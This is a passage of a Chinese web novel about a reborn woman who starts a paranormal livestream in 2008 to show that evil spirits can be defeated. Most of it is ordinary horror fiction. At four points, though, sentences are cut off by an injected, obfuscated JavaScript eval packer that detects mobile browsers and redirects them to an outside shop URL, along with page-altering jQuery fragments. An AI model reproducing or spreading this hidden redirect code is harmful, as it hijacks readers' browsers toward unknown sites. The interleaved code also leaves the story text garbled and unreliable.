邪祟的手段诡异多段，究竟是迷惑了他们的心智呢，还是太过可怕让他们失去了希望呢，不知道，也许都有。 方丽丽也在里面。 她喜欢漂亮，但死得最惨，地面恰好有一根倒插的钢筋，她的头颅被贯穿，脸颊破烂，脑浆迸出，至于她的儿子方奇白，早就不知所踪。 那时有很多人死，又有很多人失踪。 这母子俩的遭遇并不奇怪。 这件事情发生的时候，乌静梅刚好怀上季景慧。 想到季景慧…… 季融很难过，她们家慧慧从出生开始，就没有看见过正常的世界。 她在心里默默说，这一次，一定要让慧慧过上正常人的生活。 过去，是慧慧照顾残疾姑姑。 现在，姑姑要好好守护慧慧的未来。 方丽丽在后面骂骂咧咧地跟出来，还想要讨个公道，就在这时，季延和乌静梅气势汹汹地回来了。 “这小子，跑得比兔子还快！可把老子给累死了！” “就是，不就是让他给我们家小妹一个交代，又不是真的要打断他们的腿，怂货一个！” “咦，方丽丽，你来干什么？”季延一见方丽丽，警惕地把季融挡在后面，“我告诉你啊，你家那小子可把我妹妹害惨了，少来这里骚扰她，你们母子两个，都不是什么好东西！” “我儿子害你家臭丫头？！”方丽丽猛地提高音调，“也不看看你家丫头什么人，我儿子那么好，要祸害也是你家丫头祸害我！” 乌静梅皱眉，“都是邻居，方丽丽，你说话是不是太难听了。” 方丽丽浑身湿漉漉的，落魄得不行，这时也不顾自己的形象了，瞬间切换战斗模式，和季延乌静梅两口子你一嘴我一嘴地骂起来。 他们三个，方丽丽和季延嗓门大，乌静梅也不是好招惹的，这一闹，就把周围的人吸引过来。 没过多久，以他们为中心，里里外外围了几圈人。 同样，被围起来的还有季融。 周边的人一听，原来是大学生抛弃大专女友，大专女友悲痛欲绝，为情自杀，没死成，瘸着腿郁郁寡欢的故事。 季延还提到，他妹妹都快疯了，躲在屋子里用鞋子扇自己的腿。 不行，必须要方奇白给个交代。 但男主角跑得飞快，他没逮到，现场只剩下一个女主角，季融。 季融坐在轮椅上，人都麻了。 “我不是……” “我没疯……” “我都说了，我没有为情自杀……” 但她说这话哪有人信，人们当然更喜欢听更刺激的故事。 说到最后，季融索性闭了嘴，面无表情地等他们吵完，她也不急，寻思着自己上辈子好歹活了几十年，方丽丽都得比她小个十几岁，她老了，不跟他们计较。 她静静地迎接众人的指指点点。 另一边，脑子里却想着要怎么改变这个世界的未来。 她不可以等，不可以坐以待毙。 那么，到底要怎么做呢？ 邪祟因恐惧而强大，人越弱，它越强。 除非…… 让人类知道，邪祟并不可怕！ 季融手指轻轻敲着轮椅扶手，垂眉敛目，陷入沉思，霎时间，她几乎与周围隔绝开来，听不见外面的声音，看不见外面的人。 她想到了那个以凡人之躯以一杀鬼的郁青道长，也许该找到他。 又想到了让国家知道这一切，她是个普通人，但她的祖国总有能人异士。 还有、还有她自己…… 能做些什么呢？ 突然，一阵刺眼的白光打断了她的思绪。 季融下意识眯起眼，再睁开眼时，看见一个男人正拿着相机对着自己一顿拍。 不，那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16882930|191973||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不是相机，那是…… 这个年代最新款的手机！ 2008年，手机品牌蓬勃发展，摄像功能已经十分成熟，并且朝着下一个阶段高歌猛进。 季融直勾勾地盯着镜头，没做声。 那男人一边用手机对着她一边直说话：“兄弟们我靠，这两家人都快打起来了，听说是女的为情自杀，家长找那男的算账没找到，跟那男的家里人吵起来了，啧啧，这战斗力，快看看快看看，牛逼啊！” “好好好，谢谢兄弟们打赏，什么，你们要我凑近点？不行不行，我可怕被打啊！” “哎也是真可怜，自杀也就算了，人还没死，就是腿瘸了，这以后可怎么办啊！” “要我说，男的就应该负责！不说赔个人，于情于理也该赔个钱吧！哦那男的好像还是个大学生，到底哪所大学啊，这素质也不咋滴，倒是这女孩，安安静静的，看着挺好一女孩。” “等等，啊？你说那女孩一直看着我？我知道我很帅，啊？我靠，真在看着我啊……” 孔芳华定睛一看，女孩看着自己的时候，眼睛一眨不眨的，但，怎么就那么怪呢？ 他走过去：“你……” 季融睁大眼，一脸好奇地问：“不好意思，能把你手机给我看看吗？” 说实话，她的手机还是好几年前的款式，她哥用剩的二手货。 孔芳华脸一红，他当然知道自己刚才乱拍人不礼貌，对方好声好气地反倒把他整不好意思了，连忙说：“可以可以，当然可以，就是我现在在做直播，你别介意，网友说话就这样，你不认识我我不认识你的，好听不好听都有，别上心，咱们做直播的，就是为了赚口吃的。” 季融接过手机，这个时候的摄像头已经十分清晰了，尤其孔芳华这台最新款，专门为了做直播买的，别的功能一塌糊涂，就这摄像头，好用得很。 只是画面偶尔有些卡顿，但问题不大。 季融首先看到的是一个小窗口，那是镜头拍摄的画面，而小窗口下面，则是来自全国各地互联网用户的评论留言。 【成功人士花开富贵：靓女，听哥一句话咯，为个男人不值得，好好找个医生，好好治腿，好好生活。】 【清爽牙膏一阵情：在吗？美女看看腿。】 【狂拽酷少：加我企鹅号，给你买企鹅秀，让你做我的公主。】 【甜女孩：哇酷少好棒，能不能给人家买企鹅秀呀，我喜欢那套粉色公主裙。】 【灵灵妖：就是楼上这两个偷我家电话费充企鹅币吗？】 一个个评论从下面弹出来，季融划拉了一下随便看看，发现直播间虽然不如后来几年成熟，但人数其实算不上少。 季融觉得，有多少能力干多少事。 如果自己能通过直播，将邪祟的事情扩散出去，那也已经尽了自己最大的努力。 对！ 就这么干！ 开灵异直播！ 她要去—— 撞鬼！ 人类因未知而恐惧，那么，她就做第一个勇者！ 季融的眼睛渐渐亮了起来，孔芳华只觉得眼前这女孩原本就生得水灵灵的，这会儿更是浑身都在冒着光，让人移不开目光。 他是个大老粗，干直播其实不怎么，熬了很久才有点观众。 可如果是这个女孩，没准可行！ 5. 005 季融研究了好一阵子，终于闹明白这直播怎么搞了。 在她那条线里，在世界末日前，直播行业也是蓬勃发展的。 甚至，在那个梦里，做直播的更是以一个恐怖的速度形成规模。 不过，在2008年的这个时候，直播还属于一片荒原。 季融在这方面并不熟悉，是个老古董。 她和孔芳华加了企鹅好友，在对方的指导下，选择了企鹅名下的嘎嘎直播。 这一年，企鹅爆火全国。 年轻人几乎人手一个企鹅号。 在这庞大的用户群下，企鹅迅速推出各种娱乐项目，聊天室、企鹅空间、或者各种乱七八糟的游戏等等，其中，嘎嘎直播就是企鹅旗下的。 企鹅的规矩大家都懂的，只要它想上线什么游戏，那么就必定在企鹅号里推出，确保拥有企鹅号的朋友们精准受到广告骚扰。 甚至，这时候它还没有出现屏蔽功能。 孔芳华就是嘎嘎直播里的一名主播。 季融认真求学，孔芳华反倒不好意思了，几乎知无不谈，尤其是在季融彻底学成后，还收到了季融送的一套时下最流行的企鹅秀，孔芳华心里那股子不好意思简直达到了巅峰。 这多好的孩子呀，就这点事还要给他送个企鹅秀。 孔芳华暗暗决定，等到季融直播，一定要去给她捧个场！ 新人出道，他这个当师父的，怎么都得帮帮忙不是？ *** “什么？！你要做直播？！”季延大惊失色，伸手摸摸妹妹的额头，糟了，这也没发烧呀。 乌静梅一头雾水，“直播是什么？” “直播？直播就是对着镜头跳下流舞，姑姑，你……”季景宁放学回来，原本一头黑色的头发，太调皮了，玩口香糖不小心黏在自己头上，弄不掉，他爹气得揍了他一顿，用推子把那脑袋脏头发给推光了。 灯光下，季景宁顶着发光的大脑门，人小鬼大地摇摇头，“不是我说，姑，你不行，你放不开，再说了，那些老板喜欢身材好的，你，一般般。” 这话说完，轮到季延愤怒了。 抄起季景宁就打屁股，“你从哪里学来的这些东西？你小小年纪的，你懂什么叫身材？都什么乱七八糟的！有你怎么跟你姑说话的吗！” 季景宁都被揍习惯了，他身体皮实，揍了也不痛，冲着季融做了个鬼脸，没再吱声，聪明地不再继续讨打。 乌静梅在那边查明白了，看着季融，欲言又止。 她们家妹子，是真受刺激了啊。 季融读了个大专，学的是电力，虽然没方奇白那货上大学的显高贵，但这会儿，大专还没没落，社会上的大专生可多了。 有些好点的学校，还直接包了就业 季融他们学校也包，在出车祸前，季融本来就打算去了的。 这下没了。 妹子要去搞直播。 乌静梅忧心忡忡，但看着妹子的腿，叹了口气。 季融听他们瞎扯，一眼就知道他们在想些什么，她把碗里的菜吃完，心满意足地摸着肚子，这样安逸幸福的日子，她还想再享受几十年。 过去那些颠沛流离的，她再也不想过了。 “哥，今天你做的菜可真好吃啊。”季融惬意地打断他们，“这个清蒸鱼好鲜，红烧鱼特别有味，还有那个汤、根本就喝不够嘛。” 厚厚的酱汁包裹在每一块肉上，在灯光下莹润漂亮。 太幸福了。 季延一愣，“啊？哎！你觉得好吃就行。” 季融像个沉浸酒色的大老板，说话慢吞吞的，但不容置疑。 “说回刚才那个话题。” “首先，我是在通知，不是在做商量，这个事我做定了。” “其次，我干的和他们干的不一样，这年头干啥的都有，不用担心。” “再次，我最后最后最后说一次，我，出车祸，跟方奇白没关系，你们不用每天想着我因为这人受刺激，我知道你们担心我，但是没必要。” “最后，你们放心，我的腿会好的。” 关于方奇白这个人，这么多年过去，季融早就没什么印象了。 况且他们也没谈过。 方奇白一厢情愿，与她无关。 还害她莫名受到方丽丽的针对，况且在这种情况下，方奇白默不吭声，季融看不上这样的。 至于她的腿…… 这一次，竟然好得比之前那次还快。 上次，她用了将近几个月的时间，可现在，兴许是邪祟的力量还没有发展起来，真的太弱太弱了，又兴许是季融有了经验，她不再畏惧这家伙。 早上扇它几个嘴巴子，中午扇几个，晚上扇几个。 把它扇痛了扇怕了。 到最后，只要季融一抬起手，那家伙蜷缩在镜子角落，奄奄一息，再也不敢嚣张。 季融现在不怕死。 她知道，如果现在怕死，那么几十年后，她哥会死，她嫂子会死，她侄子会死，连带着那个还没出生的小侄女，同样会死。 灵异直播，必须得去干。 干不成她也得试试。 一家三口都愣住了。 他们从来没看过季融说话这么严肃的样子，顿时间，他们觉得20岁的季融好像长大了，比他们更高更大，更像一个大家长。 季延更是有些无措，他看了看妻子，乌静梅只是给他一个微笑，轻轻握住他的手。 “没事的，融融从小就有自己的想法，她要做的，咱们拦不住她，相信她就好了。” *** 海角论坛。 2008年，要说现在的网民最爱去哪？ 那毫无疑问是论坛。 其中，海角论坛更是王者中的王者。 季融在海角论坛也有自己的账号，20岁的她从未涉足过一个名叫“怪谈鬼话”的频道，在那之前几乎不感兴趣。 可今天，她点开了这里。 怪谈鬼话作为海角论坛的强盛频道，几乎每天都汇聚着大批网友，新鲜的帖子层出不穷。 凌晨零点。 季融选定时间，发布了自己第一个帖子。 #最恐怖的经历，最真实的灵异，我是季融，如果我消失了，请为我报警# 帖子里倒也没发什么东西，就是发了个嘎嘎直播的链接和和一个时间，接着就随它去了。 这帖子一发，尤其是看到“报警”这两个字眼，热心的网民那敏感的神经立马被刺 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16882931|191973||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 激到了，纷纷点进来，可一看，就是个链接？！ 居然就是个链接？！ 网民们怒了，搁这闹呢！ 他们还以为能吃到什么惊险八卦呢，什么报警，什么消失，结果就是个打广告的！ 【天色真美我不睡：搞什么啊？开什么玩笑！什么最恐怖的经历最真实的灵异，恐怖在哪？灵异在哪？举报了！】 【暴躁老姐：季融是吧？姐有的是实力，我这就查查你是什么人，明天就到你家去揍你！】 【路远远：嘿，楼上也忒认真了吧，难道你们真以为这世界上有鬼？贴主明明就是在哗众取宠！】 【玫瑰玫瑰我爱你：我靠，被骗进来杀了！我是猪！】 【富婆重金求子：直播是吧？正巧我也爱看嘎嘎直播，今晚我就不睡了，我看看你搞什么鬼，到时候我骂死你！】 【富婆看看我：呜呜呜富婆姐姐我也来，可以电一下我吗？给我100就好，我是你最深情的舔狗，今晚我也来，有你的地方就有我。】 【严肃大叔：……楼上的我真是服了。】 短短时间内，帖子不断被顶起来。 季融嘿嘿一笑，有人骂就对了，有人骂证明有人看。 她就是要人看。 让所有人看看，邪祟并非不可消灭。 *** 晚上9点12分。 季融当着季延和乌静梅的面，双手撑着轮椅扶手，缓缓站了起来。 两口子眼神先是茫然，接着惊讶，最后呆呆地张大了嘴。 季融伸手将他俩的嘴巴合上。 “现在该相信我了吧？” 0点0分，平乐公园。 季融看着面前这座陈旧的建筑，轻轻呼了一口气，打开了直播间。 “欢迎来到我的直播间，我是季融。” 季融没有选择露脸，她戴着口罩，可即便如此，乌黑的齐耳发修得干净整齐，暴露出来的白皙肌肤年轻漂亮，看起来仍然像个听话的学生妹。 此时学生妹穿着一套深绿色运动服，背上带了个大背包，怎么瞧怎么青春。 这个时候，还有许多网民没有睡，根据季融在海角论坛里发的帖子，居然还真有人瞅准时间进来了。 刚敲着键盘准备当键盘侠，看看主播着模样，以为是不懂事的年轻人，还是心软了一下。 【严肃大叔：年纪轻轻不去上学，搞这个干什么？快回家睡觉，少弄些有的没的。】 【富婆重金求子：啧，还以为有戏看，结果就这？无聊，准备溜了。】 【富婆看看我：姐姐别啊，您走了我上哪追你去？】 【完美大师糖：等等，这个地方……这个公共厕所，主播该不会是南城人吧？这个地方我知道，这……这里闹鬼啊！是真闹鬼！主播别作了！这里死过人啊！】 【富豪家居111：啥？大师糖啥意思？你说这阴森森的屋子真的有料？】 完美大师糖的评论一出，原本准备跑路的网友们，又纷纷停了下来。 完美大师糖也是南城本地人，屏幕另一头的他，此时看着画面里的建筑物，冷汗都滴下来了。 “兄弟们……这地方我还真知道。” “因为我朋友，就死在这。” 6. 006 完美大师糖名为张正阳。 在现实里，他是一名工厂技术工，平常的时候，张正阳在厂里从早干到晚，一整天下来几乎没有休闲的时候，身心俱疲。 每到这个时候，他就想弄点刺激的，放松一下自己的精神世界。 张正阳不重色也不重欲，就喜欢看点恐怖电影，听点鬼故事。 他还在企鹅聊天室里加了几个有着同样兴趣爱好的朋友，每当放假的时候，相约着一起去一些发生过怪事的地方“探险”。 最近一次，就是去的季融去的那个地方。 平乐公园的公共厕所。 平乐公园位于南城郊区，周围临湖，风光优美，时常有大人小孩一块儿去那儿野炊，不仅如此，公园附近就是平乐高中，在老师的带领下，平乐高中的美术生偶尔也会过来这边进行写生。 可从某一年期，平乐公园来的人开始变少了，紧接着，逐渐荒芜，到了最后，这块儿地方近乎荒芜。 而荒芜的原因，是因为某一年，一个连环杀人犯逃窜到这里，连连杀了好几个人，虽然后边被逮捕归案，但这地方又死过人，又有过杀人犯，人们也不会没事去触霉头。 据后来辞职的工作人员说，他们还在平乐公园听到过受害者哀嚎的声音，半夜里，也能看见缺胳膊断腿的身影在黑暗中游荡。 张正阳和李进是关系极好的“探险”队友，两人在深夜里来到这个地方，设施荒废，一到晚上，连灯也不开，远远近近都是黑魆魆的树影。 李进恐惧又兴奋：“嘿，这地方真是来对了，悄悄，到处都是鬼影，不过嘛，照我看，也没什么了不起的，真要是有鬼，老子天天求神拜祖宗的，我那彩票不早就中奖了？” 说着，李进从汽车后备箱里拿出一箱啤酒，再从里头拿出些下酒菜，他拍拍张正阳的肩膀，“嗐，小老弟，别愁眉苦脸的，咱们是来享受的，是来快乐的，你看看，这氛围，是不是贼妙？” 张正阳没他胆大，但他也确实累了，似乎只有在这种令人毛骨悚然的环境，喝点酒吃点东西，才能放松下来。 没错，他俩确实有点怪癖。 要不也不会成为朋友。 两人在草地上铺了块垫子，旁边立了一盏灯，吃吃东西喝喝酒聊聊天，冰冷的夜里，公园里四下漆黑，天边的弯月与远处的湖泊相互映衬，仿佛铺了碎钻。 景色还怪好的。 要不然以前平乐公园的夜晚怎么会有那么多野鸳鸯？ 等到酒足饭饱，也该回去了，精神放松下来，两人也没兴趣继续待在这种地方，毕竟他俩都是公的，跟对方过夜只会觉得头皮发麻。 汽车往公园外开。 就在这时，漆黑中突然亮起一盏灯。 不，不是一盏灯。 那是黑暗中一座散发着凄冷白光的建筑。 不知道为什么，张正阳打了个寒颤，就在刚才，他好像看到那建筑旁立着一抹幽冷的影子。 可一眨眼，那影子就不见了。 原地只有一棵枯掉的老树。 近了才知道是一座公共厕所，老式古风的屋顶，里头却是现代风的，水声滴滴答答，水龙头大概是没有拧紧，还没进门就是公共洗手池，上面挂着一块近乎三米长的镜子。 兴许是时间久了，这块镜子布满灰尘，朦朦胧胧，将厕所前面的树木映在镜子里，似乎装了许多人在里头。 李进喝的酒最多，他最近得罪了领导，升职无望，心里正犯愁。 一见了厕所，尿意澎湃了。 “张正阳，上厕所不？” “不了，我还好。”不知怎么的，张正阳觉得浑身汗毛直竖，“这大晚上的，要不先走吧。” “啊？！”李进夸张地表露出惊讶，“不是吧你，咱都来这种地方了，难道你害怕了？放心吧，都去过那么多这种地方了，要出事早就出事了。” 张正阳不好再说，只好闭嘴。 李进摆摆手，下车进去了。 周围霎时静了下去，冰冷异常，车子就停在厕所大门口，正好对着那块镜子。 不知怎么的，张正阳总觉得镜子里面有一张脸。 那张脸幽幽注视他许久，突然，噼啪一声，灯光熄灭，黑暗瞬间将张正阳笼罩。 月光也在此时消失。 张正阳的汗毛几乎顷刻间竖起来了，哗啦的水声—— 从厕所里面传来。 滴答、滴答、滴答…… 接着是水珠如细线般密密急促的声音。 “李、李进？” 没有人应声。 接着是窸窸窣窣的，枯枝碎木被踩动的声音，那声音越来越近、越来越近了…… 张正阳脸色惨白，他浑身颤抖，就在他几乎要跳起来逃跑的时候，嘭的一声，车窗被狠狠拍打了一下。 一张煞白诡异的脸贴在窗外。 “李进？！” 李进嘿的一声，露出一个怪异的笑容，“吓到你了吧，看你胆子小的，行了，老子喝酒喝多，刚才不小心掉进水里，浑身湿透，冷死我了，赶紧回家回家。” “你没事？！”张正阳问。 “能有什么事，啧，这个烂厕所，突然停电，差点把我给吓到了。” 车是李进的，也是他开的，张正阳没驾照，直到李进上了车，张正阳才看到李进浑身湿透，冰冷的水从他头顶落到脚下，很快，就把他的位置洇出了深深的水痕。 可那水好像流不干。 一路上，滴答滴答的。 像在催眠。 张正阳酒量差，浑浑噩噩就睡过去了，后来又迷迷糊糊回了家，一觉到大天亮。 等到他醒过来，却怎么也想不起来回来路上发生了什么。 似乎在沉闷地开车，又似乎说了些什么。 他只知道，湿得粘腻惨白的李进一直在开车，他面容麻木，在发抖，全身都在不停发抖，也许是冷的。 最后，他只记得李进说了一句话：“有句话说得对，夜路走多是会撞鬼的，正阳啊，以后别到这种地方来了。” 张正阳猛打了个哆嗦，就在这时，有人敲门，外面是一伙警察。 “你好，我是警察，我们正在调查平乐公共厕所男尸的情况，据了解，李进临死前 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16882932|191973||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，你是最后一个见过他的人，希望你能配合调查。” 张正阳嗡的一下就醒了。 平乐公共厕所男尸？！ 接下来，警察说的话他都听不懂。 什么？李进在昨晚就死了？他死在了平乐公园那个厕所里？ 那昨晚开车送他回来的人是谁？跟他说话的人是谁？ 不不不、不可能！ 直到他看到李进被泡得浮肿泛白的尸体，他才如梦初醒。 李进早就死在了送他回来之前。 【完美大师糖：对，没错，李进死了，死在那个公共厕所里，后来警察同志们说，多方线索排除他杀，他是喝多了酒，失足掉进水里的。对了，那个厕所里有一个一立方大的蓄水池，可我不信，怎么可能？李进酒量很好的，他是销售员，平常没少约客户出去吃饭喝酒，怎么可能醉酒掉进水里？】 回忆起那件事，张正阳都快崩溃了，从那以后，他工作也不去了，每天躲在房间里，用被子裹得严严实实。 他总能听见水声。 滴答、滴答、滴答…… 那个杀死李进的“东西”好像盯上了他，每天每天折磨他，在暗处里蛰伏，等待哪一天，让他变成下一个“李进”。 【完美大师糖：总之，主播赶紧走吧，别开玩笑了，那里真的、真的有鬼！】 最后一个字，张正阳几乎是颤抖着敲出来的。 滴答、滴答、滴答…… 他冷汗涔涔，而这个时候，他丝毫没有留意到，自己脸上的汗水怎么会那么多，多得离谱，多得不同寻常，甚至，让他看起来像是浑身被浇了一盆水。 连带着他的凳子下面，也是一片怪异的水泊。 完美大师糖的故事把原本准备离开直播间的网民们又拉了回来。 【我怀了十个哪吒：我晕，大半夜的，要不要这么说，弄得我全身都毛毛的，主播别搞了吧，该回家回家，洗洗睡，到时候真出事了，得让你妈伤心死。】 【暴躁老姐：妈耶，遇上真的了？要不现在给你报警咯。】 【蘑菇对对碰：强烈怀疑完美大师糖是主播的托！骗人来的吧！】 【叫我老王好吧：嘿，这种套路我知道，主播后面肯定有个团队，等下是不是就有人扮鬼了？旁边再来个录音机鬼哭狼嚎的，啧，能不能有点新意啊？】 整个评论区，有觉得害怕的，有质疑的，有打假的。 季融完全不在意。 因为她清楚，完美大师糖说的事情，是真的！ 只是她不知道的是，原来平乐公园的邪祟，早在08年，就已经杀过人。 她也是到了27年才知道平乐公园有个邪祟藏在这个公共厕所里，那时这个邪祟已经变得十分强大，所有来到这里的人，都会莫名其妙被吸引进去，等到被发现的时候，已经死在了水里。 开始，它的能力仅仅是这一间厕所。 到了后来，整个公园都是它的屠宰场，连带着那片湖泊…… 最可怕的时候，湖面上浮尸71具。 且男人诸多。 为什么是男人呢？ 7. 007 兴许是平乐公园之前兴旺过，这间公共厕所建地面积很大，男左女右，中间就是洗手池，挂着那面三米长的大镜子。 镜子蒙上灰尘，看不清季融的影子，可依旧收拢着厕所外树木模糊的倒影。 乍一看，确实鬼影重重，里头仿佛藏了许多具死去已久的尸体。 季融只是来到这里，就觉得浑身汗毛竖起。 四下通风，似乎夜晚的鬼魂在这片公园来回晃荡，在黑暗中注视着她。 其实季融是很怕的。 没有人比她更清楚，这个地方是藏着邪祟恶鬼的，但她依旧将这里当做第一个目标。 她只是个普通人，没有特殊能力，智商平平，醒来的那几天抓耳挠腮，想着怎样才能改变世界未来，想来想去，只想出这么个笨蛋办法。 做直播。 只要她能在无数邪祟的恐怖中生存下来，那么便无疑是告诉观众一个信息。 邪祟并非无可战胜。 那么，未来，即便诡异末日真正降临，人类对邪祟的恐惧，兴许会少一点。 甚至，因为提前知道了邪祟没有那么恐怖，或许诡异末世不会降临也说不定。 如果不行，那也就不行算了。 早死晚死都是死。 季融是抱着有可能会丢掉小命的心来到这里，不管怎么样，她再也不想回到之前那种日子了。 这么想着，季融感觉自己心情都变好了。 尤其在看到热闹的评论区后，感觉好像有一群人在陪着自己一起作死，季融心里那点恐惧彻底消失。 她举起手机，将周围的环境给观众们展示了一下，然后回忆着过去知道的事情，慢条斯理地说道：“首先，我先说明一下，我跟完美大师糖没有任何关系，如有雷同，纯属巧合。” “但他说的，大概率是真事。” 季融刚准备走进去，目光突然被厕所旁边一棵极其高大的树木给吸引了目光，那是一棵老槐树，生长得极其茂密，遮天蔽日，几乎将整座公共厕所笼罩在其下。 “好大的树。”她感慨一句，心里却觉得有哪里怪怪的，忍不住多看了几眼，然后跟观众说：“不知道为什么，我想到一个故事，据说每一棵蓬勃生长的树木底下，都种着一具尸体，不知道这棵树有没有可能？” 【暴躁老姐：喂主播！你突然说这个也太吓人了吧！】 【甜甜蜜蜜爱酸奶：主播能善良一点吗？大半夜的，搞得我看哪哪都不对劲。】 【富婆重金求子：主播冲冲冲！姐给你打赏！】 季融也就那么随口一说，她真正要说的还是关于这个邪祟的事。 张正阳确实是南城本地人，他了解到的，确实也没错。 “平乐公园以前是热闹过的，据说，要不是因为连环杀人犯的事，上面的人还打算进一步开发这里，在这里设置一个巨型儿童游乐场，但很可惜，因为接连死人，风评被害，最终项目终止。” “而在这一带荒废后，有人时不时能在这里看见飘荡的鬼影，是真是假不太好说，不过，这间公厕是有点意思的。” “有传闻说，凶手在杀掉受害者之后，会穿着沾满血迹的衣服和凶器来这里清洗，那些受害者的鬼魂因为怨恨跟在凶手身后，却随着被洗掉的血迹，沿着盥洗池一路流淌……” “鬼魂也永远被困在了这个地方。” 至于真假，季融也是道听途说，毕竟她也没真来过这个地方。 可随着她的话说完，原本逐渐平静的评论区又炸了，纷纷表示主播别半夜说鬼故事了。 但人就是这样，越怕越看，越想逃越好奇。 最后热度竟然稳稳上升。 那些说要退出直播间的，一个都没退。 季融心里觉得有点好笑，一步步走进去，古怪的是，整个公园都断了电，只有这间公共厕所，依旧幽幽亮着灯。 这里贴满了那种最常见的白色瓷砖，脚底下则是白绿色的小格纹。 镜子的灰尘极厚，季融想了想，从背包里掏出毛巾把灰尘擦干，直到将自己的影子露出来，才停住。 身后一片漆黑，镜子里的女孩像被黑暗笼罩，清晰的面容在这一刻甚至看起来有些古怪。 季融皱了皱眉。 “怎么感觉不太像我？” 这个厕所应该是很久没有人来过了，虽然还通水，但盥洗池十分干燥，显然是很久没有人来这里清洗过。 季融想了想，决定先往女厕所走去，毕竟按照资料，凶手是男人。 然而就在她转身的瞬间，余光忽然瞥见了什么！ 镜子…… 镜子里的自己，似乎有一瞬间的迟钝。 “它”……没有跟上她的速度。 季融心脏猛地一跳，定眼一看，镜子里的女孩分明和自己长着一样的面孔，可不对劲，就是不对劲！ 彼此相互对视着，季融故意拿着手机照了镜子一下，里面那个人也跟着抬起手机，一切看起来是那么的贴合，没有任何异常。 然后她对着网友们笑着说：“很好，检查完毕，这块镜子没有什么特别的，我们继续往里面走。” 说完，她故意停顿一下，又一次看向“自己”。 季融是戴着口罩的，可一对眼睛却看得清楚，她面相不错，讨人喜欢，因为她的眼睛总是带着笑意，让人心生好感。 可镜子里的那个“人”。 该怎么说呢？ “它”也在笑，眼角是微微眯起的，可“它”的眼睛里没有半点笑意，就好像一具傀儡，比细线拉起自己的眼皮，生生挑起一个僵硬的怪异的表情。 比起笑，更像是某种道不清说不明的讥诮。 “它”不是她！ 季融心脏猛地漏掉一拍，然后咚咚咚、咚咚咚的，剧烈跳动起来。 寒意直窜而起，但她咬咬牙，装作什么都不知道，坚持朝里面走去。 她不能怕。 怕了就会死。 季融，要勇敢，说好的，要守护世界上最好的慧慧，要让慧慧过上正常人的生活。 邪祟惧怕勇者。 周围静得可闻针落，季融的脚步声回荡在整个厕所中。 这个厕所极大，两排隔间，但做得极深极长，一眼看去，是无数个相同灰色隔间排列下去，乍一看几乎有些看不到底，而做设计的人显然也没有考虑到后面，灯光竟然直到中间就嘎然而止。 再往里，幽黑一片，只能勉强看到一些灰色隔间的轮廓。 【学习爱死我了：妈呀，设计者疯了吗？有没有考虑后面上厕所的人啊！里头是给鬼上的厕所吧！】 【狂拽酷少：我晕死。】 【娇俏肚脐眼：主播够勇，就算是假的，也冲你敬业点个赞。】 【“富婆重金求子”打赏主播跑车X1】 “跑车”一出，屏幕前立马弹出一个马赛克小跑车的图标，伴随着极其简陋的小烟花。 这个时候，直播打赏尚且不如几十年后做得花哨，没有特效，没有大面积的轰炸，就是一个简简单单的动图小烟花加一个小跑车标志。 季融原本还有点慌的。 一看这个小跑车，懵了一下，紧接着，眼睛唰的一下就亮了。 小跑车！是小跑车哎！ 她居然第一次直播就获得了一辆小跑车！ 她哥差不多一个月的工资呢！ 这个时候，全国人民 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16882933|191973||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 平均工资两千多块钱左右，打赏一辆小跑车，就相当于两千块钱，而平台和季融分成，季融能拿到手的，就有一千块！ 季融原本就在愁工作的事，她真没打算让哥哥嫂嫂养着自己，都打算晚上做直播，白天出去找工作去了，当个顶级社畜也没什么。 劳动最光荣。 谁能想到啊，这居然能赚钱。 “谢谢富婆姐姐的打赏，我会好好努力哒！啾啾哒！” 季融嗓音都夹了起来，心里那点恐惧一挥而散，果然金钱才是最好的补品！ 然而她没留意到，就在她这句话说完后，外面的镜子—— 一个浑身湿漉漉的女生幽怨地注视着季融的背影，然后化作粉末消失。 勇气能驱逐邪祟。 